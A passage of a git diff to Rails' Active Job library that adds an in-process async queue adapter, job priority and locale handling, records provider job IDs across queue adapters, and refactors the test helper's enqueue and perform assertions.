process, and therefore doesn't + # support retries. + # + # === Async and Inline Queue Adapters # + # Active Job has two built-in queue adapters intended for development and + # testing: +:async+ and +:inline+. module QueueAdapters extend ActiveSupport::Autoload + autoload :AsyncAdapter autoload :InlineAdapter autoload :BackburnerAdapter autoload :DelayedJobAdapter @@ -53,6 +125,10 @@ module ActiveJob private_constant :ADAPTER class << self + # Returns adapter for specified name. + # + # ActiveJob::QueueAdapters.lookup(:sidekiq) + # # => ActiveJob::QueueAdapters::SidekiqAdapter def lookup(name) const_get(name.to_s.camelize << ADAPTER) end diff --git a/activejob/lib/active_job/queue_adapters/async_adapter.rb b/activejob/lib/active_job/queue_adapters/async_adapter.rb new file mode 100644 index 0000000000..922bc4afce --- /dev/null +++ b/activejob/lib/active_job/queue_adapters/async_adapter.rb @@ -0,0 +1,114 @@ +require 'securerandom' +require 'concurrent/scheduled_task' +require 'concurrent/executor/thread_pool_executor' +require 'concurrent/utility/processor_counter' + +module ActiveJob + module QueueAdapters + # == Active Job Async adapter + # + # The Async adapter runs jobs with an in-process thread pool. + # + # This is the default queue adapter. It's well-suited for dev/test since + # it doesn't need an external infrastructure, but it's a poor fit for + # production since it drops pending jobs on restart. + # + # To use this adapter, set queue adapter to +:async+: + # + # config.active_job.queue_adapter = :async + # + # To configure the adapter's thread pool, instantiate the adapter and + # pass your own config: + # + # config.active_job.queue_adapter = ActiveJob::QueueAdapters::AsyncAdapter.new \ + # min_threads: 1, + # max_threads: 2 * Concurrent.processor_count, + # idletime: 600.seconds + # + # The adapter uses a {Concurrent Ruby}[https://github.com/ruby-concurrency/concurrent-ruby] thread pool to schedule and execute + # jobs. Since jobs share a single thread pool, long-running jobs will block + # short-lived jobs. Fine for dev/test; bad for production. + class AsyncAdapter + # See {Concurrent::ThreadPoolExecutor}[http://ruby-concurrency.github.io/concurrent-ruby/Concurrent/ThreadPoolExecutor.html] for executor options. + def initialize(**executor_options) + @scheduler = Scheduler.new(**executor_options) + end + + def enqueue(job) #:nodoc: + @scheduler.enqueue JobWrapper.new(job), queue_name: job.queue_name + end + + def enqueue_at(job, timestamp) #:nodoc: + @scheduler.enqueue_at JobWrapper.new(job), timestamp, queue_name: job.queue_name + end + + # Gracefully stop processing jobs. Finishes in-progress work and handles + # any new jobs following the executor's fallback policy (`caller_runs`). + # Waits for termination by default. Pass `wait: false` to continue. + def shutdown(wait: true) #:nodoc: + @scheduler.shutdown wait: wait + end + + # Used for our test suite. + def immediate=(immediate) #:nodoc: + @scheduler.immediate = immediate + end + + # Note that we don't actually need to serialize the jobs since we're + # performing them in-process, but we do so anyway for parity with other + # adapters and deployment environments. Otherwise, serialization bugs + # may creep in undetected. + class JobWrapper #:nodoc: + def initialize(job) + job.provider_job_id = SecureRandom.uuid + @job_data = job.serialize + end + + def perform + Base.execute @job_data + end + end + + class Scheduler #:nodoc: + DEFAULT_EXECUTOR_OPTIONS = { + min_threads: 0, + max_threads: Concurrent.processor_count, + auto_terminate: true, + idletime: 60, # 1 minute + max_queue: 0, # unlimited + fallback_policy: :caller_runs # shouldn't matter -- 0 max queue + }.freeze + + attr_accessor :immediate + + def initialize(**options) + self.immediate = false + @immediate_executor = Concurrent::ImmediateExecutor.new + @async_executor = Concurrent::ThreadPoolExecutor.new(DEFAULT_EXECUTOR_OPTIONS.merge(options)) + end + + def enqueue(job, queue_name:) + executor.post(job, &:perform) + end + + def enqueue_at(job, timestamp, queue_name:) + delay = timestamp - Time.current.to_f + if delay > 0 + Concurrent::ScheduledTask.execute(delay, args: [job], executor: executor, &:perform) + else + enqueue(job, queue_name: queue_name) + end + end + + def shutdown(wait: true) + @async_executor.shutdown + @async_executor.wait_for_termination if wait + end + + def executor + immediate ? @immediate_executor : @async_executor + end + end + end + end +end diff --git a/activejob/lib/active_job/queue_adapters/delayed_job_adapter.rb b/activejob/lib/active_job/queue_adapters/delayed_job_adapter.rb index 852a6ee326..0a785fad3b 100644 --- a/activejob/lib/active_job/queue_adapters/delayed_job_adapter.rb +++ b/activejob/lib/active_job/queue_adapters/delayed_job_adapter.rb @@ -14,11 +14,15 @@ module ActiveJob # Rails.application.config.active_job.queue_adapter = :delayed_job class DelayedJobAdapter def enqueue(job) #:nodoc: - Delayed::Job.enqueue(JobWrapper.new(job.serialize), queue: job.queue_name) + delayed_job = Delayed::Job.enqueue(JobWrapper.new(job.serialize), queue: job.queue_name, priority: job.priority) + job.provider_job_id = delayed_job.id + delayed_job end def enqueue_at(job, timestamp) #:nodoc: - Delayed::Job.enqueue(JobWrapper.new(job.serialize), queue: job.queue_name, run_at: Time.at(timestamp)) + delayed_job = Delayed::Job.enqueue(JobWrapper.new(job.serialize), queue: job.queue_name, priority: job.priority, run_at: Time.at(timestamp)) + job.provider_job_id = delayed_job.id + delayed_job end class JobWrapper #:nodoc: diff --git a/activejob/lib/active_job/queue_adapters/inline_adapter.rb b/activejob/lib/active_job/queue_adapters/inline_adapter.rb index 1d06324c18..0496f8449e 100644 --- a/activejob/lib/active_job/queue_adapters/inline_adapter.rb +++ b/activejob/lib/active_job/queue_adapters/inline_adapter.rb @@ -2,7 +2,7 @@ module ActiveJob module QueueAdapters # == Active Job Inline adapter # - # When enqueueing jobs with the Inline adapter the job will be executed + # When enqueuing jobs with the Inline adapter the job will be executed # immediately. # # To use the Inline set the queue_adapter config to +:inline+. @@ -14,7 +14,7 @@ module ActiveJob end def enqueue_at(*) #:nodoc: - raise NotImplementedError.new("Use a queueing backend to enqueue jobs in the future. Read more at http://guides.rubyonrails.org/active_job_basics.html") + raise NotImplementedError, "Use a queueing backend to enqueue jobs in the future. Read more at http://guides.rubyonrails.org/active_job_basics.html" end end end diff --git a/activejob/lib/active_job/queue_adapters/qu_adapter.rb b/activejob/lib/active_job/queue_adapters/qu_adapter.rb index 94584ef9d8..0e198922fc 100644 --- a/activejob/lib/active_job/queue_adapters/qu_adapter.rb +++ b/activejob/lib/active_job/queue_adapters/qu_adapter.rb @@ -17,13 +17,17 @@ module ActiveJob # Rails.application.config.active_job.queue_adapter = :qu class QuAdapter def enqueue(job, *args) #:nodoc: - Qu::Payload.new(klass: JobWrapper, args: [job.serialize]).tap do |payload| + qu_job = Qu::Payload.new(klass: JobWrapper, args: [job.serialize]).tap do |payload| payload.instance_variable_set(:@queue, job.queue_name) end.push + + # qu_job can be nil depending on the configured backend + job.provider_job_id = qu_job.id unless qu_job.nil? + qu_job end def enqueue_at(job, timestamp, *args) #:nodoc: - raise NotImplementedError + raise NotImplementedError, "This queueing backend does not support scheduling jobs. To see what features are supported go to http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html" end class JobWrapper < Qu::Job #:nodoc: diff --git a/activejob/lib/active_job/queue_adapters/que_adapter.rb b/activejob/lib/active_job/queue_adapters/que_adapter.rb index 84cc2845b0..ab13689747 100644 --- a/activejob/lib/active_job/queue_adapters/que_adapter.rb +++ b/activejob/lib/active_job/queue_adapters/que_adapter.rb @@ -16,11 +16,15 @@ module ActiveJob # Rails.application.config.active_job.queue_adapter = :que class QueAdapter def enqueue(job) #:nodoc: - JobWrapper.enqueue job.serialize, queue: job.queue_name + que_job = JobWrapper.enqueue job.serialize, priority: job.priority + job.provider_job_id = que_job.attrs["job_id"] + que_job end def enqueue_at(job, timestamp) #:nodoc: - JobWrapper.enqueue job.serialize, queue: job.queue_name, run_at: Time.at(timestamp) + que_job = JobWrapper.enqueue job.serialize, priority: job.priority, run_at: Time.at(timestamp) + job.provider_job_id = que_job.attrs["job_id"] + que_job end class JobWrapper < Que::Job #:nodoc: diff --git a/activejob/lib/active_job/queue_adapters/queue_classic_adapter.rb b/activejob/lib/active_job/queue_adapters/queue_classic_adapter.rb index 059754a87f..0ee41407d8 100644 --- a/activejob/lib/active_job/queue_adapters/queue_classic_adapter.rb +++ b/activejob/lib/active_job/queue_adapters/queue_classic_adapter.rb @@ -18,7 +18,9 @@ module ActiveJob # Rails.application.config.active_job.queue_adapter = :queue_classic class QueueClassicAdapter def enqueue(job) #:nodoc: - build_queue(job.queue_name).enqueue("#{JobWrapper.name}.perform", job.serialize) + qc_job = build_queue(job.queue_name).enqueue("#{JobWrapper.name}.perform", job.serialize) + job.provider_job_id = qc_job["id"] if qc_job.is_a?(Hash) + qc_job end def enqueue_at(job, timestamp) #:nodoc: @@ -28,7 +30,9 @@ module ActiveJob 'the QC::Queue needs to respond to `enqueue_at(timestamp, method, *args)`. ' \ 'You can implement this yourself or you can use the queue_classic-later gem.' end - queue.enqueue_at(timestamp, "#{JobWrapper.name}.perform", job.serialize) + qc_job = queue.enqueue_at(timestamp, "#{JobWrapper.name}.perform", job.serialize) + job.provider_job_id = qc_job["id"] if qc_job.is_a?(Hash) + qc_job end # Builds a <tt>QC::Queue</tt> object to schedule jobs on. diff --git a/activejob/lib/active_job/queue_adapters/sidekiq_adapter.rb b/activejob/lib/active_job/queue_adapters/sidekiq_adapter.rb index e02593ec9c..c321776bf5 100644 --- a/activejob/lib/active_job/queue_adapters/sidekiq_adapter.rb +++ b/activejob/lib/active_job/queue_adapters/sidekiq_adapter.rb @@ -17,18 +17,20 @@ module ActiveJob class SidekiqAdapter def enqueue(job) #:nodoc: #Sidekiq::Client does not support symbols as keys - Sidekiq::Client.push \ - 'class' => JobWrapper, - 'queue' => job.queue_name, - 'args' => [ job.serialize ] + job.provider_job_id = Sidekiq::Client.push \ + 'class' => JobWrapper, + 'wrapped' => job.class.to_s, + 'queue' => job.queue_name, + 'args' => [ job.serialize ] end def enqueue_at(job, timestamp) #:nodoc: - Sidekiq::Client.push \ - 'class' => JobWrapper, - 'queue' => job.queue_name, - 'args' => [ job.serialize ], - 'at' => timestamp + job.provider_job_id = Sidekiq::Client.push \ + 'class' => JobWrapper, + 'wrapped' => job.class.to_s, + 'queue' => job.queue_name, + 'args' => [ job.serialize ], + 'at' => timestamp end class JobWrapper #:nodoc: diff --git a/activejob/lib/active_job/queue_adapters/sneakers_adapter.rb b/activejob/lib/active_job/queue_adapters/sneakers_adapter.rb index f5737487ca..d78bdecdcb 100644 --- a/activejob/lib/active_job/queue_adapters/sneakers_adapter.rb +++ b/activejob/lib/active_job/queue_adapters/sneakers_adapter.rb @@ -1,5 +1,5 @@ require 'sneakers' -require 'thread' +require 'monitor' module ActiveJob module QueueAdapters @@ -28,7 +28,7 @@ module ActiveJob end def enqueue_at(job, timestamp) #:nodoc: - raise NotImplementedError + raise NotImplementedError, "This queueing backend does not support scheduling jobs. To see what features are supported go to http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html" end class JobWrapper #:nodoc: diff --git a/activejob/lib/active_job/queue_adapters/sucker_punch_adapter.rb b/activejob/lib/active_job/queue_adapters/sucker_punch_adapter.rb index 64c93e8198..311109e958 100644 --- a/activejob/lib/active_job/queue_adapters/sucker_punch_adapter.rb +++ b/activejob/lib/active_job/queue_adapters/sucker_punch_adapter.rb @@ -5,12 +5,10 @@ module ActiveJob # == Sucker Punch adapter for Active Job # # Sucker Punch is a single-process Ruby asynchronous processing library. - # It's girl_friday and DSL sugar on top of Celluloid. With Celluloid's - # actor pattern, we can do asynchronous processing within a single process. - # This reduces costs of hosting on a service like Heroku along with the - # memory footprint of having to maintain additional jobs if hosting on - # a dedicated server. All queues can run within a single Rails/Sinatra - # process. + # This reduces the cost of of hosting on a service like Heroku along + # with the memory footprint of having to maintain additional jobs if + # hosting on a dedicated server. All queues can run within a + # single application (eg. Rails, Sinatra, etc.) process. # # Read more about Sucker Punch {here}[https://github.com/brandonhilkert/sucker_punch]. # @@ -19,11 +17,22 @@ module ActiveJob # Rails.application.config.active_job.queue_adapter = :sucker_punch class SuckerPunchAdapter def enqueue(job) #:nodoc: - JobWrapper.new.async.perform job.serialize + if JobWrapper.respond_to?(:perform_async) + # sucker_punch 2.0 API + JobWrapper.perform_async job.serialize + else + # sucker_punch 1.0 API + JobWrapper.new.async.perform job.serialize + end end def enqueue_at(job, timestamp) #:nodoc: - raise NotImplementedError + if JobWrapper.respond_to?(:perform_in) + delay = timestamp - Time.current.to_f + JobWrapper.perform_in delay, job.serialize + else + raise NotImplementedError, 'sucker_punch 1.0 does not support `enqueued_at`. Please upgrade to version ~> 2.0.0 to enable this behavior.' + end end class JobWrapper #:nodoc: diff --git a/activejob/lib/active_job/queue_name.rb b/activejob/lib/active_job/queue_name.rb index 9ae0345120..65786a49ff 100644 --- a/activejob/lib/active_job/queue_name.rb +++ b/activejob/lib/active_job/queue_name.rb @@ -39,7 +39,7 @@ module ActiveJob self.queue_name_delimiter = '_' # set default delimiter to '_' end - # Returns the name of the queue the job will be run on + # Returns the name of the queue the job will be run on. def queue_name if @queue_name.is_a?(Proc) @queue_name = self.class.queue_name_from_part(instance_exec(&@queue_name)) diff --git a/activejob/lib/active_job/queue_priority.rb b/activejob/lib/active_job/queue_priority.rb new file mode 100644 index 0000000000..01d84910ff --- /dev/null +++ b/activejob/lib/active_job/queue_priority.rb @@ -0,0 +1,44 @@ +module ActiveJob + module QueuePriority + extend ActiveSupport::Concern + + # Includes the ability to override the default queue priority. + module ClassMethods + mattr_accessor(:default_priority) + + # Specifies the priority of the queue to create the job with. + # + # class PublishToFeedJob < ActiveJob::Base + # queue_with_priority 50 + # + # def perform(post) + # post.to_feed! + # end + # end + # + # Specify either an argument or a block. + def queue_with_priority(priority=nil, &block) + if block_given? + self.priority = block + else + self.priority = priority + end + end + end + + included do + class_attribute :priority, instance_accessor: false + + self.priority = default_priority + end + + # Returns the priority that the job will be created with + def priority + if @priority.is_a?(Proc) + @priority = instance_exec(&@priority) + end + @priority + end + + end +end diff --git a/activejob/lib/active_job/railtie.rb b/activejob/lib/active_job/railtie.rb index 6538ac1b30..a47caa4a7e 100644 --- a/activejob/lib/active_job/railtie.rb +++ b/activejob/lib/active_job/railtie.rb @@ -12,12 +12,21 @@ module ActiveJob initializer "active_job.set_configs" do |app| options = app.config.active_job - options.queue_adapter ||= :inline + options.queue_adapter ||= :async ActiveSupport.on_load(:active_job) do options.each { |k,v| send("#{k}=", v) } end end + initializer "active_job.set_reloader_hook" do |app| + ActiveSupport.on_load(:active_job) do + ActiveJob::Callbacks.singleton_class.set_callback(:execute, :around, prepend: true) do |_, inner| + app.reloader.wrap do + inner.call + end + end + end + end end end diff --git a/activejob/lib/active_job/test_helper.rb b/activejob/lib/active_job/test_helper.rb index 4efb4b72d2..3feb82d432 100644 --- a/activejob/lib/active_job/test_helper.rb +++ b/activejob/lib/active_job/test_helper.rb @@ -4,313 +4,308 @@ require 'active_support/core_ext/hash/keys' module ActiveJob # Provides helper methods for testing Active Job module TestHelper - extend ActiveSupport::Concern + delegate :enqueued_jobs, :enqueued_jobs=, + :performed_jobs, :performed_jobs=, + to: :queue_adapter - included do - def before_setup - test_adapter = ActiveJob::QueueAdapters::TestAdapter.new + def before_setup # :nodoc: + test_adapter = ActiveJob::QueueAdapters::TestAdapter.new - @old_queue_adapters = (ActiveJob::Base.subclasses << ActiveJob::Base).select do |klass| - # only override explicitly set adapters, a quirk of `class_attribute` - klass.singleton_class.public_instance_methods(false).include?(:_queue_adapter) - end.map do |klass| - [klass, klass.queue_adapter].tap do - klass.queue_adapter = test_adapter - end + @old_queue_adapters = (ActiveJob::Base.subclasses << ActiveJob::Base).select do |klass| + # only override explicitly set adapters, a quirk of `class_attribute` + klass.singleton_class.public_instance_methods(false).include?(:_queue_adapter) + end.map do |klass| + [klass, klass.queue_adapter].tap do + klass.queue_adapter = test_adapter end - - clear_enqueued_jobs - clear_performed_jobs - super end - def after_teardown - super - @old_queue_adapters.each do |(klass, adapter)| - klass.queue_adapter = adapter - end - end + clear_enqueued_jobs + clear_performed_jobs + super + end - # Asserts that the number of enqueued jobs matches the given number. - # - # def test_jobs - # assert_enqueued_jobs 0 - # HelloJob.perform_later('david') - # assert_enqueued_jobs 1 - # HelloJob.perform_later('abdelkader') - # assert_enqueued_jobs 2 - # end - # - # If a block is passed, that block should cause the specified number of - # jobs to be enqueued. - # - # def test_jobs_again - # assert_enqueued_jobs 1 do - # HelloJob.perform_later('cristian') - # end - # - # assert_enqueued_jobs 2 do - # HelloJob.perform_later('aaron') - # HelloJob.perform_later('rafael') - # end - # end - # - # The number of times a specific job is enqueued can be asserted. - # - # def test_logging_job - # assert_enqueued_jobs 2, only: LoggingJob do - # LoggingJob.perform_later - # HelloJob.perform_later('jeremy') - # end - # end - def assert_enqueued_jobs(number, only: nil) - if block_given? - original_count = enqueued_jobs_size(only: only) - yield - new_count = enqueued_jobs_size(only: only) - assert_equal original_count + number, new_count, "#{number} jobs expected, but #{new_count - original_count} were enqueued" - else - actual_count = enqueued_jobs_size(only: only) - assert_equal number, actual_count, "#{number} jobs expected, but #{actual_count} were enqueued" - end + def after_teardown # :nodoc: + super + @old_queue_adapters.each do |(klass, adapter)| + klass.queue_adapter = adapter end + end - # Asserts that no jobs have been enqueued. - # - # def test_jobs - # assert_no_enqueued_jobs - # HelloJob.perform_later('jeremy') - # assert_enqueued_jobs 1 - # end - # - # If a block is passed, that block should not cause any job to be enqueued. - # - # def test_jobs_again - # assert_no_enqueued_jobs do - # # No job should be enqueued from this block - # end - # end - # - # It can be asserted that no jobs of a specific kind are enqueued: - # - # def test_no_logging - # assert_no_enqueued_jobs only: LoggingJob do - # HelloJob.perform_later('jeremy') - # end - # end - # - # Note: This assertion is simply a shortcut for: - # - # assert_enqueued_jobs 0, &block - def assert_no_enqueued_jobs(only: nil, &block) - assert_enqueued_jobs 0, only: only, &block + # Asserts that the number of enqueued jobs matches the given number. + # + # def test_jobs + # assert_enqueued_jobs 0 + # HelloJob.perform_later('david') + # assert_enqueued_jobs 1 + # HelloJob.perform_later('abdelkader') + # assert_enqueued_jobs 2 + # end + # + # If a block is passed, that block should cause the specified number of + # jobs to be enqueued. + # + # def test_jobs_again + # assert_enqueued_jobs 1 do + # HelloJob.perform_later('cristian') + # end + # + # assert_enqueued_jobs 2 do + # HelloJob.perform_later('aaron') + # HelloJob.perform_later('rafael') + # end + # end + # + # The number of times a specific job is enqueued can be asserted. + # + # def test_logging_job + # assert_enqueued_jobs 1, only: LoggingJob do + # LoggingJob.perform_later + # HelloJob.perform_later('jeremy') + # end + # end + def assert_enqueued_jobs(number, only: nil) + if block_given? + original_count = enqueued_jobs_size(only: only) + yield + new_count = enqueued_jobs_size(only: only) + assert_equal number, new_count - original_count, "#{number} jobs expected, but #{new_count - original_count} were enqueued" + else + actual_count = enqueued_jobs_size(only: only) + assert_equal number, actual_count, "#{number} jobs expected, but #{actual_count} were enqueued" end + end - # Asserts that the number of performed jobs matches the given number. - # If no block is passed, <tt>perform_enqueued_jobs</tt> - # must be called around the job call. - # - # def test_jobs - # assert_performed_jobs 0 - # - # perform_enqueued_jobs do - # HelloJob.perform_later('xavier') - # end - # assert_performed_jobs 1 - # - # perform_enqueued_jobs do - # HelloJob.perform_later('yves') - # assert_performed_jobs 2 - # end - # end - # - # If a block is passed, that block should cause the specified number of - # jobs to be performed. - # - # def test_jobs_again - # assert_performed_jobs 1 do - # HelloJob.perform_later('robin') - # end - # - # assert_performed_jobs 2 do - # HelloJob.perform_later('carlos') - # HelloJob.perform_later('sean') - # end - # end - # - # The block form supports filtering. If the :only option is specified, - # then only the listed job(s) will be performed. - # - # def test_hello_job - # assert_performed_jobs 1, only: HelloJob do - # HelloJob.perform_later('jeremy') - # LoggingJob.perform_later - # end - # end - # - # An array may also be specified, to support testing multiple jobs. - # - # def test_hello_and_logging_jobs - # assert_nothing_raised do - # assert_performed_jobs 2, only: [HelloJob, LoggingJob] do - # HelloJob.perform_later('jeremy') - # LoggingJob.perform_later('stewie') - # RescueJob.perform_later('david') - # end - # end - # end - def assert_performed_jobs(number, only: nil) - if block_given? - original_count = performed_jobs.size - perform_enqueued_jobs(only: only) { yield } - new_count = performed_jobs.size - assert_equal original_count + number, new_count, - "#{number} jobs expected, but #{new_count - original_count} were performed" - else - performed_jobs_size = performed_jobs.size - assert_equal number, performed_jobs_size, "#{number} jobs expected, but #{performed_jobs_size} were performed" - end + # Asserts that no jobs have been enqueued. + # + # def test_jobs + # assert_no_enqueued_jobs + # HelloJob.perform_later('jeremy') + # assert_enqueued_jobs 1 + # end + # + # If a block is passed, that block should not cause any job to be enqueued. + # + # def test_jobs_again + # assert_no_enqueued_jobs do + # # No job should be enqueued from this block + # end + # end + # + # It can be asserted that no jobs of a specific kind are enqueued: + # + # def test_no_logging + # assert_no_enqueued_jobs only: LoggingJob do + # HelloJob.perform_later('jeremy') + # end + # end + # + # Note: This assertion is simply a shortcut for: + # + # assert_enqueued_jobs 0, &block + def assert_no_enqueued_jobs(only: nil, &block) + assert_enqueued_jobs 0, only: only, &block + end + + # Asserts that the number of performed jobs matches the given number. + # If no block is passed, <tt>perform_enqueued_jobs</tt> + # must be called around the job call. + # + # def test_jobs + # assert_performed_jobs 0 + # + # perform_enqueued_jobs do + # HelloJob.perform_later('xavier') + # end + # assert_performed_jobs 1 + # + # perform_enqueued_jobs do + # HelloJob.perform_later('yves') + # assert_performed_jobs 2 + # end + # end + # + # If a block is passed, that block should cause the specified number of + # jobs to be performed. + # + # def test_jobs_again + # assert_performed_jobs 1 do + # HelloJob.perform_later('robin') + # end + # + # assert_performed_jobs 2 do + # HelloJob.perform_later('carlos') + # HelloJob.perform_later('sean') + # end + # end + # + # The block form supports filtering. If the :only option is specified, + # then only the listed job(s) will be performed. + # + # def test_hello_job + # assert_performed_jobs 1, only: HelloJob do + # HelloJob.perform_later('jeremy') + # LoggingJob.perform_later + # end + # end + # + # An array may also be specified, to support testing multiple jobs. + # + # def test_hello_and_logging_jobs + # assert_nothing_raised do + # assert_performed_jobs 2, only: [HelloJob, LoggingJob] do + # HelloJob.perform_later('jeremy') + # LoggingJob.perform_later('stewie') + # RescueJob.perform_later('david') + # end + # end + # end + def assert_performed_jobs(number, only: nil) + if block_given? + original_count = performed_jobs.size + perform_enqueued_jobs(only: only) { yield } + new_count = performed_jobs.size + assert_equal number, new_count - original_count, + "#{number} jobs expected, but #{new_count - original_count} were performed" + else + performed_jobs_size = performed_jobs.size + assert_equal number, performed_jobs_size, "#{number} jobs expected, but #{performed_jobs_size} were performed" end + end - # Asserts that no jobs have been performed. - # - # def test_jobs - # assert_no_performed_jobs - # - # perform_enqueued_jobs do - # HelloJob.perform_later('matthew') - # assert_performed_jobs 1 - # end - # end - # - # If a block is passed, that block should not cause any job to be performed. - # - # def test_jobs_again - # assert_no_performed_jobs do - # # No job should be performed from this block - # end - # end - # - # The block form supports filtering. If the :only option is specified, - # then only the listed job(s) will be performed. - # - # def test_hello_job - # assert_performed_jobs 1, only: HelloJob do - # HelloJob.perform_later('jeremy') - # LoggingJob.perform_later - # end - # end - # - # An array may also be specified, to support testing multiple jobs. - # - # def test_hello_and_logging_jobs - # assert_nothing_raised do - # assert_performed_jobs 2, only: [HelloJob, LoggingJob] do - # HelloJob.perform_later('jeremy') - # LoggingJob.perform_later('stewie') - # RescueJob.perform_later('david') - # end - # end - # end - # - # Note: This assertion is simply a shortcut for: - # - # assert_performed_jobs 0, &block - def assert_no_performed_jobs(only: nil, &block) - assert_performed_jobs 0, only: only, &block + # Asserts that no jobs have been performed. + # + # def test_jobs + # assert_no_performed_jobs + # + # perform_enqueued_jobs do + # HelloJob.perform_later('matthew') + # assert_performed_jobs 1 + # end + # end + # + # If a block is passed, that block should not cause any job to be performed. + # + # def test_jobs_again + # assert_no_performed_jobs do + # # No job should be performed from this block + # end + # end + # + # The block form supports filtering. If the :only option is specified, + # then only the listed job(s) will not be performed. + # + # def test_no_logging + # assert_no_performed_jobs only: LoggingJob do + # HelloJob.perform_later('jeremy') + # end + # end + # + # Note: This assertion is simply a shortcut for: + # + # assert_performed_jobs 0, &block + def assert_no_performed_jobs(only: nil, &block) + assert_performed_jobs 0, only: only, &block + end + + # Asserts that the job passed in the block has been enqueued with the given arguments. + # + # def test_assert_enqueued_with + # assert_enqueued_with(job: MyJob, args: [1,2,3], queue: 'low') do + # MyJob.perform_later(1,2,3) + # end + # + # assert_enqueued_with(job: MyJob, at: Date.tomorrow.noon) do + # MyJob.set(wait_until: Date.tomorrow.noon).perform_later + # end + # end + def assert_enqueued_with(args = {}) + original_enqueued_jobs_count = enqueued_jobs.count + args.assert_valid_keys(:job, :args, :at, :queue) + serialized_args = serialize_args_for_assertion(args) + yield + in_block_jobs = enqueued_jobs.drop(original_enqueued_jobs_count) + matching_job = in_block_jobs.find do |job| + serialized_args.all? { |key, value| value == job[key] } end + assert matching_job, "No enqueued job found with #{args}" + instantiate_job(matching_job) + end - # Asserts that the job passed in the block has been enqueued with the given arguments. - # - # def test_assert_enqueued_with - # assert_enqueued_with(job: MyJob, args: [1,2,3], queue: 'low') do - # MyJob.perform_later(1,2,3) - # end - # end - def assert_enqueued_with(args = {}, &_block) - original_enqueued_jobs = enqueued_jobs.dup - clear_enqueued_jobs - args.assert_valid_keys(:job, :args, :at, :queue) - serialized_args = serialize_args_for_assertion(args) - yield - matching_job = enqueued_jobs.any? do |job| - serialized_args.all? { |key, value| value == job[key] } - end - assert matching_job, "No enqueued job found with #{args}" - ensure - queue_adapter.enqueued_jobs = original_enqueued_jobs + enqueued_jobs + # Asserts that the job passed in the block has been performed with the given arguments. + # + # def test_assert_performed_with + # assert_performed_with(job: MyJob, args: [1,2,3], queue: 'high') do + # MyJob.perform_later(1,2,3) + # end + # + # assert_performed_with(job: MyJob, at: Date.tomorrow.noon) do + # MyJob.set(wait_until: Date.tomorrow.noon).perform_later + # end + # end + def assert_performed_with(args = {}) + original_performed_jobs_count = performed_jobs.count + args.assert_valid_keys(:job, :args, :at, :queue) + serialized_args = serialize_args_for_assertion(args) + perform_enqueued_jobs { yield } + in_block_jobs = performed_jobs.drop(original_performed_jobs_count) + matching_job = in_block_jobs.find do |job| + serialized_args.all? { |key, value| value == job[key] } end + assert matching_job, "No performed job found with #{args}" + instantiate_job(matching_job) + end - # Asserts that the job passed in the block has been performed with the given arguments. - # - # def test_assert_performed_with - # assert_performed_with(job: MyJob, args: [1,2,3], queue: 'high') do - # MyJob.perform_later(1,2,3) - # end - # end - def assert_performed_with(args = {}, &_block) - original_performed_jobs = performed_jobs.dup - clear_performed_jobs - args.assert_valid_keys(:job, :args, :at, :queue) - serialized_args = serialize_args_for_assertion(args) - perform_enqueued_jobs { yield } - matching_job = performed_jobs.any? do |job| - serialized_args.all? { |key, value| value == job[key] } - end - assert matching_job, "No performed job found with #{args}" + def perform_enqueued_jobs(only: nil) + old_perform_enqueued_jobs = queue_adapter.perform_enqueued_jobs + old_perform_enqueued_at_jobs = queue_adapter.perform_enqueued_at_jobs + old_filter = queue_adapter.filter + + begin + queue_adapter.perform_enqueued_jobs = true + queue_adapter.perform_enqueued_at_jobs = true + queue_adapter.filter = only + yield ensure - queue_adapter.performed_jobs = original_performed_jobs + performed_jobs + queue_adapter.perform_enqueued_jobs = old_perform_enqueued_jobs + queue_adapter.perform_enqueued_at_jobs = old_perform_enqueued_at_jobs + queue_adapter.filter = old_filter end + end - def perform_enqueued_jobs(only: nil) - old_perform_enqueued_jobs = queue_adapter.perform_enqueued_jobs - old_perform_enqueued_at_jobs = queue_adapter.perform_enqueued_at_jobs - old_filter = queue_adapter.filter + def queue_adapter + ActiveJob::Base.queue_adapter + end - begin - queue_adapter.perform_enqueued_jobs = true - queue_adapter.perform_enqueued_at_jobs = true - queue_adapter.filter = only - yield - ensure - queue_adapter.perform_enqueued_jobs = old_perform_enqueued_jobs - queue_adapter.perform_enqueued_at_jobs = old_perform_enqueued_at_jobs - queue_adapter.filter = old_filter - end + private + def clear_enqueued_jobs # :nodoc: + enqueued_jobs.clear end - def queue_adapter - ActiveJob::Base.queue_adapter + def clear_performed_jobs # :nodoc: + performed_jobs.clear end - delegate :enqueued_jobs, :enqueued_jobs=, - :performed_jobs, :performed_jobs=, - to: :queue_adapter - - private - def clear_enqueued_jobs - enqueued_jobs.clear - end - - def clear_performed_jobs - performed_jobs.clear + def enqueued_jobs_size(only: nil) # :nodoc: + if only + enqueued_jobs.count { |job| Array(only).include?(job.fetch(:job)) } + else + enqueued_jobs.count end + end - def enqueued_jobs_size(only: nil) - if only - enqueued_jobs.select { |job| job.fetch(:job) == only }.size - else - enqueued_jobs.size - end + def serialize_args_for_assertion(args) # :nodoc: + args.dup.tap do |serialized_args| + serialized_args[:args] = ActiveJob::Arguments.serialize(serialized_args[:args]) if serialized_args[:args] + serialized_args[:at] = serialized_args[:at].to_f if serialized_args[:at] end + end - def serialize_args_for_assertion(args) - serialized_args = args.dup - if job_args = serialized_args.delete(:args) - serialized_args[:args] = ActiveJob::Arguments.serialize(job_args) - end - serialized_args - end - end + def instantiate_job(payload) # :nodoc: + job = payload[:job].new(*payload[:args]) + job.scheduled_at = Time.at(payload[:at]) if payload.key?(:at) + job.queue_name = payload[:queue] + job + end end end diff --git a/activejob/lib/active_job/translation.rb b/activejob/lib/active_job/translation.rb new file mode 100644 index 0000000000..67e4cf4ab9 --- /dev/null +++ b/activejob/lib/active_job/translation.rb @@ -0,0 +1,11 @@ +module ActiveJob + module Translation #:nodoc: + extend ActiveSupport::Concern + + included do + around_perform do |job, block, _| + I18n.with_locale(job.locale, &block) + end + end + end +end diff --git a/activejob/lib/rails/generators/job/job_generator.rb b/activejob/lib/rails/generators/job/job_generator.rb index 979ffcb748..6e43e4a269 100644 --- a/activejob/lib/rails/generators/job/job_generator.rb +++ b/activejob/lib/rails/generators/job/job_generator.rb @@ -1,6 +1,6 @@ require 'rails/generators/named_base' -module Rails +module Rails # :nodoc: module Generators # :nodoc: class JobGenerator < Rails::Generators::NamedBase # :nodoc: desc 'This generator creates an active job file at app/jobs' @@ -17,8 +17,22 @@ module Rails def create_job_file template 'job.rb', File.join('app/jobs', 